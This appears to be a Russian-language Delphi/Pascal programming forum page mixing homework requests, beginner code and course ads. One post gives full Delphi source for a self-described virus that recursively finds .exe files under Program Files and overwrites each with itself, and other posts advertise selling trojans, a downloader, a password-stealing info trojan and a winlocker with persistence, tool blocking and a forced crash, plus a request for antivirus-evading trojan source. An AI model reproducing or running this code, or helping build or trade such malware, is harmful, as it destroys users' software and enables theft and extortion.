Откройте свой Мир!

Доброго времени суток всем! У меня такой вопрос! Пишу вот такую програмку...
program Server;
uses
Windows,
ScktComp;
var
Msg:TMsg;
  ServerSocket:TServerSocket;
begin
ServerSocket:=TServerSocket.Create(ServerSocket);
ServerSocket.Name:='Server';
ServerSocket.Port:=5124;
  ServerSocket.Active:=true;
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
А теперь внимание вопрос! Как вызвать событие OnConnect????

1)В массиве С(9) все элементы стоящие после наименьшего обнулить.
2)Дана матрица В(5,5).Найти количество элементов больших 5,среди элементов главной диагонали.

Продам хороший блокиратор виндовс мной написанный на дельфи пишите в личку если че:) Также продаю множество троянов и вирусов написанных в дельфи или под DOS!!!

Учусь юзать TP.
Подскажите, как сделать второе; аналогичное тело проги.
(пример)
Program prog;
label
M1;
var
a: byte;
begin
M1;
Writeln('Paste number:');
Readln(a);
if not (a in [0..50]) then goto M1;
case a of
0..25: Writeln('1');
26..50: Writeln('2');
end;
end.

ПАМАГИТЕ!
У меня уже башка не варит....
Нужно создать 2 нетипизированных файла. Всё в паскале.
Засунуть в исходный файл несколько чисел, вводимых пользователем и
копировать из первого файла во второй только чётные числа... 
Помогите пожалуйста, буду очень благодарен, заранее спасибо!

CANVAS podskajite chto eto takoe?kak s nim rabotat?

Необходимо реализовать структуру данных. Элемент структуры: комплексное число.
Структура данных: дек.
нужно основные операции реализовать : добавить/удалить в левый/правый край списка, получить значение/ получить размер

Требования к реализации:
1 Для построения класса структуры данных запрещается использовании готовые структуры данных в выбранном для реализации языке программирования (языки Object Pascal и Delphi – классы TCollection, TList, TStack и др.).
2 Для реализации элемента структуры и самой структуры использовать классы с функциональностью, требуемой определением структуры данных.
3 Для размещения данных использовать механизм динамической памяти.
4 Организовать тестирование разработанных классов посредством консольного при-ложения. При выполнении каждой операции класса структуры осуществлять вывод состояния структуры данных на консоль.

Язык паскаль, среда Delphi 7

нужна помощь,не могу написать тест в делфи тест состоит из 30 вопросов,10 вопросов с 1 вариантом ответа,10 с несколькими ,5 вопросов на соответствие ,и 5 вопросов ответ словом ,тест должен располагаться максимум на 3х формах. кто может помогите

Программа Формодел позволяет быстро создавать курсовые,дипломы для работы с базами данных с исходниками на Delphi. 




Официальный сайт

Лайкаем, предложения и замечания оставляйте в комментариях.

мне надо срочно сделать сапера через делфи:( 
напишите как или киньте ссылку на урок пожалуйта:)

как в паскале просчитать такой факториал a=(2n-1)! ???

Увлекаюсь программированием в Delphi, вот сделал несколько прог, предлагаю позырить, заценить:
http://www.vlad-skakalin.narod.ru/soft
Отзывы пишите прям тут.
 
Кстати, скажу про себя сразу одну вещь.
Я больше люблю программировать сам, а не по заданию.
На свободные темы (полёт фантазии), и без ограничений по времени (не спеша).
Давка же портит всякий интерес к работе.
 
И ещё. В процессе разработки проги, я пытаюсь отыскивать и устранять любые ошибки прям по мере их появления. Считаю, что лучше сделать программу менее функциональной, но без ошибок, чем напичканную как кучей разных функций, так и ещё большей кучей ошибок. Поэтому все мои проги вроде чётко работают. Впрочем, если кто-то найдёт недоработку, то мне это будет очень интересно. Пишите прям тут.

можете поделится если есть готовые простенькие задачки на делфи.заранее благодарна!!! 

Всем привет. Я начинающий программист, так что строго не судите. Писал я тут маломальскую программу на Delphi, и чтото щолкнуло в голове захотелось попробовать написать простинький вирус.
Написал:

program Yerihon;

{$APPTYPE CONSOLE}

uses
  Windows,
  SysUtils,
  Classes,
  Forms,
  Dialogs;

var
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;
  Program_Files : string;

Procedure Find(var S : TStringList);
 var
 cDir : string;
 SearchRec: TSearchRec; // информация о файле или каталоге
begin
GetDir(0,cDir); // получить имя текущего каталога
 if cDir[length(cDir)] <> '\' then cDir := cDir+'\';
 if FindFirst('*.exe', faArchive,SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
  begin
  S.Add(cDir + SearchRec.Name);
  end;
  until FindNext(SearchRec) <> 0;
// обработка подкаталогов текущего каталога
 if FindFirst('*', faDirectory, SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faDirectory) = SearchRec.Attr then
  begin
  if SearchRec.Name[1] <> '.' then
  begin
  ChDir(SearchRec.Name);// войти в каталог
  Find(S); // выполнить поиск в подкаталоге
  ChDir('..');// выйти из каталога
  end;
  end;
  until FindNext(SearchRec) <> 0;
end;

 var
 S : TStringList;
 i : integer;
 f : TextFile;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
 if Res > 0 then WinDir := StrPas(WinDirP);
 if FileExists(Windir + '\Goodwin.txt') then MessageDlg('Твоиму компу хана!', mtWarning, [mbOK], 0)
  else
  begin
  AssignFile(f, Windir + '\Goodwin.txt');
  Rewrite(f);
  Write(f, 'Goodwin');
  CloseFile(f);
  Program_Files := Windir[1] + ':\Program Files';
  S := TStringList.Create;
  ChDir(Program_Files);
  Find(S);
  for i := 0 to S.Count - 1 do CopyFile(PChar(Application.ExeName), PChar(S.Strings[i]), false);
  end;
end.

Вопрос:
Написанное можно хотябы назвать вирусом?

Помогите решить задачу...
 
Дан массив А ненулевых целых чисел размера 10. Вывести значение тех его элементов АК, которые удовлетворяют неравенству АК < А10. Если таких элементов нет, то вывести 0.

Переписать текстовый файл в другой, вставляя после каждого слова число, равное длине слова.
 Решите пожалуйста?????

Я сам .NET программист и человек живущий слоганом "Есть у самого — поделись с другими" залил в разделе Видео, альбомы C#, HTML&CSS, ASP.NET (их там
больше, но признаюсь лень писать), есть и другие материалы о программировании. Видеоуроки и Видеокурсы от CyberBionic (КиберБионик) (EDU.CBSYSTEMATICS.COM). Как посещавший их курсы, весьма рекомендую! Тем более здесь-же (то есть в Центре CBSYSTEMATICS:) можно и сертификат получить.

Надеюсь, выложенное видео, будет полезным сообществу. Если нужны еще какие-то курсы - пишите!

В массиве записаны целые числа. Определить сумму элементов главной диагонали массива, больших 20.(Delphi 7)

Продам свои произведения:

Trojan Downloader
(Скачивает файлы из интернета без ведома пользователя и запускает их!!)

Trojan info 
(Присылает на емайл адрес файл паролей майл агента+ Захват экрана откуда был запущен + полную инфу о компе вот пример:

Ip адреса: (1-локалка, 2-Интернет!!!)
10.37.0.78
92.122.85.55
Пользователь:Admin
Имя компа:Comp
%windir%:C:\WINDOWS
C:C: 198459,20mb. Свободно: 154731,88mb.
D:
E:E: 198459,20mb. Свободно: 154731,88mb.
F:
G:
Мак адресс:99-E6-BS-71-B4-20
Расширение экрана:1440 x 900
Common files:C:\Program Files
HDD Number:2964396647
Dir Program Files:C:\Program Files
Оперативка:2 096 232 KB
Операционная система: Microsoft Windows XP
Id продукта: 76356-640-1464557-23412

Программный фейк:
Выкладываю скрины:
1) http://s005.radikal.ru/i210/1010/11/5dafe4d5c4d3.jpg
2) http://s39.radikal.ru/i086/1010/47/913b459017a0.jpg

Винлокер:
+ Ничем не палится (по крайней мере известными антивирями)
+ Блокирует безопасный режим
+ Добавляется в автозагрузку
+ Убрать можно только если ввести определенный код
+ Блокирует диспетчер задач
+ Блокирует реестр
+ Блокирует msconfig
+ Удобный дизайн
+ Полностью блокирует windows
+ Закрывает explorer
+ Если правильно ввести код удалится из автозагрузки и разблокирует вышеперечисленные программы и безопасный 
режим
+ Копирует себя в директорию WINDOWS 
+ Удалить такой Винлокер будет очень сложно придется использовать LiveСD (еще придется хорошо поискать его) или 
просто ввести код
+ Могу сделать любой пароль
+ Любой дизайн
+ Любой размер формы и самого файла
+ Самоудаление после активации 
+ Отдам почти даром
+ На таком Винлоке можно не плохо заработать
+ Полностью на весь экран
+ Не даст открыть программы такие как msconfig, regedit, taskmgr, regdt32... Ну и т.п
+ Можно полностью заблокировать безопасный режим! (по желанию)
+ При нескольких неправильных попыток ввода кода Система завершит работу синим экраном смерти! (BSOD)
+ При закрытии снова откроется так что закрыть его тока можно кодом

Выкладываю скрин:
http://s43.radikal.ru/i100/1010/b3/5dbc2101d523.jpg
Ну и еще один троян он ворует историю переписки mail agent

Альтернатива IT-шным сообществам mail.ru и другим подобным платформам


[ Читать далее... → ]

Хочу научиться программировать на ооп.Умею программировать на turbo pascal
могу помоч если надо.Желаю развиваться дальше звоните мне на скайп steff7772 или
на аську 567721517 Планирую в скайпе создать чат программистов

Program all;
Var
a:integer;
begin
repeat
Writeln('PASTE NUMBER');
READLn(a)
until a<=50;
If  (a>=0) and (a<=25) then begin
Writeln('1');   readln;
end;
If  (a>=26) and (a<=50) then begin
Writeln('2');   readln;
end;
end.

Ёу! Чуваки! Где можно взять сурсы троянов для Делфи (7)???

Дайте кто нить полный листинг программный код (рабочий) трояна на Делфи, что бы Антивирусами всеми палился.

Напишите ниже список сайтов каких нить нормальных по этой теме.